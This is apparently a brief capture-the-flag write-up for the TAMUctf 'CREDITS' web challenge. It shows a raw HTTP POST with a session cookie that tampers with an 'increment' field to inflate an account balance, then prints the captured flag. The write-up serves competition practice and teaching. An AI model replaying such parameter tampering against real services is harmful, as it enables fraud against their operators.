▼▼▼CREDITS(Web:50pts,538/661=81.4％)▼▼▼

This writeup is written by @kazkiti_ctf

POST /newcredit HTTP/1.1
Host: credits.tamuctf.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: user_sid=s%3AEVaIDVeDv-lQu-r-3qLKKpCyqluQLM51.kOxuXpHYpX2KzfHOX4%2F5Na0NsPj9bbkVYkc6dTmCi7c
Connection: close

increment=2000000000

↓　Buy flag because money is increasing

gigem{serverside_53rv3r5163_SerVeRSide}